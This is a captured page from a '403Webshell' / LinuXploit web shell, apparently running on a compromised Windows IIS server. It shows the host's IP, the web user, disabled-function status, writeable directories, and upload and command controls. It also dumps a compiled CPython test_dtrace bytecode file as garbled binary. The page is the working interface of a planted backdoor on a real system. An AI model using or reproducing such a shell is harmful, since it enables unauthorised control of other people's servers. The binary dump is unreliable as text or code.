403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.84
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_dtrace.cpython-313.opt-2.pyc
�

��iF!��<�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	J
r
 SSKJrJ
r
 \
R(d\R"S5eSrSr"SS5r"S	S
\5r"SS\5r\R*"\
S
5"SS55r"SS\\R.5r"SS\\R.5r"SS\\R.5r"SS\\R.5r"SS\R.5r\S:Xa\R<"5 gg)�N)�support)�findfile�
MS_WINDOWSztest module requires subprocessc�P�[RR[USS95$)N�
dtracedata)�subdir)�os�path�abspathr)�filenames �%C:\Python313\\Lib\test\test_dtrace.pyrrs��
�7�7�?�?�8�H�\�B�C�C�c��[R"SSU5nUR5Vs/sH5nU(dMURS5(aM$UR	S5PM7 nnURSS9 UVs/sHoSPM	 nnSR
U5$s snfs snf![[4a [S	RU55ef=f)
Nz\[[0-9]+ refs\]��#�	c��[US5$)Nr)�int)�rows r
�<lambda>�(normalize_trace_output.<locals>.<lambda>&s��C��A��Kr)�key��
z%tracer produced unparsable output:
{})�re�sub�
splitlines�
startswith�split�sort�join�
IndexError�
ValueError�AssertionError�format)�outputr�results   r
�normalize_trace_outputr(s����V�V�&��F�
3�F�
��(�(�*�
�*���
��>�>�#�.�
�C�I�I�d�O�*�	�
�
	���/��0�$*�+�F�S�a�&�F��+��y�y�� � ��
��,���
�#�
��4�;�;�F�C�
�	
�
�s3�B)�B�B�B�(B)�>B$�B)�
B)�)+Cc�N�\rSrSrSrSr/rS	SjrS	SjrS	Sjr	S	Sjr
SrSrg)
�TraceBackend�/Nc	�:�[UR[XR-5[US-5US95n[	[XR-S-55nUR5R
5nSSS5 XS4$!,(df   WU4$=f)Nz.py)�script_file�python_file�optimize_pythonz	.expected)r(�trace_pythonr�	EXTENSION�open�read�rstrip)�self�namer/�
actual_output�f�expected_outputs      r
�run_case�TraceBackend.run_case4s���.�t�/@�/@���~�~� 5�6���u��-�+�0A�0-�.�
�
�'�$���/�+�=�>�
?�1��f�f�h�o�o�/�O�@� �/�/�@�
?� ��/�/�s�B	�	
Bc�B�URU/-nU(aUSU/-
nU$)Nz-c)�COMMAND)r5r-�
subcommand�commands    r
�generate_trace_command�#TraceBackend.generate_trace_command?s)���,�,�+��.�����j�)�)�G��rc��URX5n[R"U[R[RSS9R5upEU$)NT��stdout�stderr�universal_newlines)r@�
subprocess�Popen�PIPE�STDOUT�communicate)r5r-r>r?rD�_s      r
�trace�TraceBackend.traceEsM���-�-�k�F���$�$�W�,6�O�O�,6�,=�,=�8<�>�?J�k�m�	���
rc��/nU(aURS/U-5 SR[R/U-U/-5nUR	X5$)Nz-O� )�extendr!�sys�
executablerM)r5r-r.r/�python_flagsr>s      r
r0�TraceBackend.trace_pythonMsO����������� 8�9��X�X�s�~�~�.��=��
�M�N�
��z�z�+�2�2rc�@�UR[SUR-55nUR5nUS:wa3[R"SRURSU55eg![[
[4an[U5nSnAN_SnAff=f)N�
assert_usablezprobe: successz{}(1) failed: {}r)rMrr1�strip�FileNotFoundError�NotADirectoryError�PermissionError�str�unittest�SkipTestr%r=)r5r&�fnfes   r
rW�TraceBackend.assert_usableTs���	��Z�Z���$�.�.�(H� I�J�F��\�\�^�F��%�%��#�#�"�)�)�$�,�,�q�/�6�B��
�&��"�#5��G�	���Y�F��	�s�7A3�3B�B�B��N)
�__name__�
__module__�__qualname__�__firstlineno__r1r=�COMMAND_ARGSr:r@rMr0rW�__static_attributes__rarr
r*r*/s*���I��G��L�	0���3�	rr*c� �\rSrSrSr/SQrSrg)�
DTraceBackend�`z.d)�dtracez-qz-sraN�rcrdrerfr1r=rhrarr
rjrj`s���I�$�Grrjc� �\rSrSrSrSS/rSrg)�SystemTapBackend�ez.stp�stapz-graNrmrarr
roroes���I��t�n�Grroz*Tests not compliant with trace on Windows.c�N�\rSrSrSrSrSr\S5rSr	Sr
SrSrS	r
S
rg)�
TraceTests�jNrc�8�URR5 grb)�backendrW�r5s r
�
setUpClass�TraceTests.setUpClassss�����"�"�$rc�p�URRXRS9up#URX#5 g)N)r/)rvr:r/�assertEqual)r5r6r7r9s    r
r:�TraceTests.run_casews5��)-���)>�)>��"6�"6�*?�*8�&�
�����8rc�&�URS5 g)N�
call_stack�r:rws r
�test_function_entry_return�%TraceTests.test_function_entry_return|s���
�
�l�#rc�4^^�[/SQ5n[[S55nUR5mSSS5 UU4SjnU"S5HnUR	UR
5 M  TR
[5U5 g!,(df   NZ=f)N)�
CALL_FUNCTION�CALL_FUNCTION_EX�CALL_FUNCTION_KWz
call_stack.pyc��>�[TSSTRS9nURHLn[U[R
5(dM$URU:XdM6[R"U5s $ /$)Nz<string>�exec)�sourcer�mode�optimize)	�compiler/�	co_consts�
isinstance�types�CodeType�co_name�dis�get_instructions)�funcname�code�c�code_stringr5s   ��r
�get_function_instructions�FTraceTests.test_verify_call_opcodes.<locals>.get_function_instructions�sb����+�$.� &�$(�$8�$8�:�D�
�^�^���a����0�0�Q�Y�Y�(�5J��/�/��2�2�$��Ir�start)�setr2rr3�discard�opnamer{)r5�opcodesr8r��instructionr�s`    @r
�test_verify_call_opcodes�#TraceTests.test_verify_call_opcodesst����O�P��
�'�/�*�
+�q��&�&�(�K�,�
	�5�W�=�K��O�O�K�.�.�/�>�	
������(�%,�
+�s�B	�	
Bc�&�URS5 g)N�gcrrws r
�test_gc�TraceTests.test_gc�s���
�
�d�rc�&�URS5 g)N�linerrws r
�	test_line�TraceTests.test_line�s���
�
�f�rra)rcrdrerf�maxDiffrvr/�classmethodrxr:r�r�r�r�rhrarr
rsrsjs@���G��G��O��%��%�9�
$�)�2�rrsc�&�\rSrSr\"5rSrSrg)�DTraceNormalTests�rraN�rcrdrerfrjrvr/rhrarr
r�r������o�G��Orr�c�&�\rSrSr\"5rSrSrg)�DTraceOptimizedTests��raNr�rarr
r�r��r�rr�c�&�\rSrSr\"5rSrSrg)�SystemTapNormalTests�rraN�rcrdrerfrorvr/rhrarr
r�r������ �G��Orr�c�&�\rSrSr\"5rSrSrg)�SystemTapOptimizedTests�r�raNr�rarr
r�r��r�rr�c�d�\rSrSr\S5r\S5rSrSr	\
RS5rSr
g)	�CheckDtraceProbes�c���[R"S5(a:UR5up[R(a[SUSU35 gg[R"S5e)N�WITH_DTRACEzreadelf version: �.z9CPython must be configured with the --with-dtrace option.)�	sysconfig�get_config_var�get_readelf_versionr�verbose�printr]r^)�cls�readelf_major_version�readelf_minor_versions   r
rx�CheckDtraceProbes.setUpClass�s_���#�#�M�2�2�;>�;R�;R�;T�8�!�����)�*?�)@��BW�AX�Y�Z���#�#�$_�`�`rc
�n�SS/n[R"U[R[RSS9nU UR5up#SSS5 UR(a3[SSR
U5<SURSW<S	W<35e[R"SW5nUc[R"SU35e[URS
55[URS554$!,(df   N�=f![a [R"S
5ef=f)N�readelfz	--versionTrCzCommand rPz failed with exit code z	: stdout=z stderr=z!Couldn't find readelf on the pathz!^(?:GNU) readelf.*?\b(\d+)\.(\d+)z!Unable to parse readelf version: rr�)rGrHrIrK�
returncode�	Exceptionr!�OSErrorr]r^r�searchr�group)�cmd�proc�versionrE�matchs     r
r��%CheckDtraceProbes.get_readelf_version�s!��	I��k�*�C��#�#��!���!���#'�	�D��"&�"2�"2�"4���������s�x�x��}�/�0&�&*�o�o�%6�7�%�[���
�<�����	�	�>��H���=��#�#�&G��y�$Q�R�R��5�;�;�q�>�"�C����A��$7�7�7�%����	I��#�#�$G�H�H�	I�s#�9D�D�AD�
D�D�!D4c��SS[R/n[R"U[R[R
SS9R
5up#U$)Nr�z-nTrC)rRrSrGrHrIrJrK)r5r?rDrLs    r
�get_readelf_output�$CheckDtraceProbes.get_readelf_output�sM���d�C�N�N�3���$�$���?�?��$�$�#�	
�
�+�-�	���
rc��UR5n/SQnUH,nURUS9 URX15 SSS5 M. g!,(df   M@=f)N)zName: import__find__load__donezName: import__find__load__startzName: auditzName: gc__startzName: gc__done��
probe_name�r��subTest�assertIn)r5�readelf_output�available_probe_namesr�s    r
�test_check_probes�#CheckDtraceProbes.test_check_probes�sM���0�0�2��!
��0�J������4��
�
�j�9�5�4�0�4�4���A�
A	c��UR5n/SQnUH,nURUS9 URX15 SSS5 M. g!,(df   M@=f)N)zName: function__entryzName: function__returnz
Name: liner�r�)r5r��missing_probe_namesr�s    r
�test_missing_probes�%CheckDtraceProbes.test_missing_probes�sM���0�0�2��
��.�J������4��
�
�j�9�5�4�.�4�4�r�raN)rcrdrerfr�rx�staticmethodr�r�r�r]�expectedFailurer�rhrarr
r�r��sN���a��a��8��8�:�
:����:��:rr��__main__)r��os.pathr	rrGrRr�r�r]�testr�test.supportrr�has_subprocess_supportr^rr(r*rjro�skipIfrs�TestCaser�r�r�r�r�rc�mainrarr
�<module>r�s��
��	��
�����-��%�%�
�
�
�=�
>�>�D�
�2.�.�b%�L�%�
�|��

����I�J�1�1�K�1�h�
�H�$5�$5��
�:�x�'8�'8��
�:�x�'8�'8��
�j�(�*;�*;��O:��)�)�O:�d�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit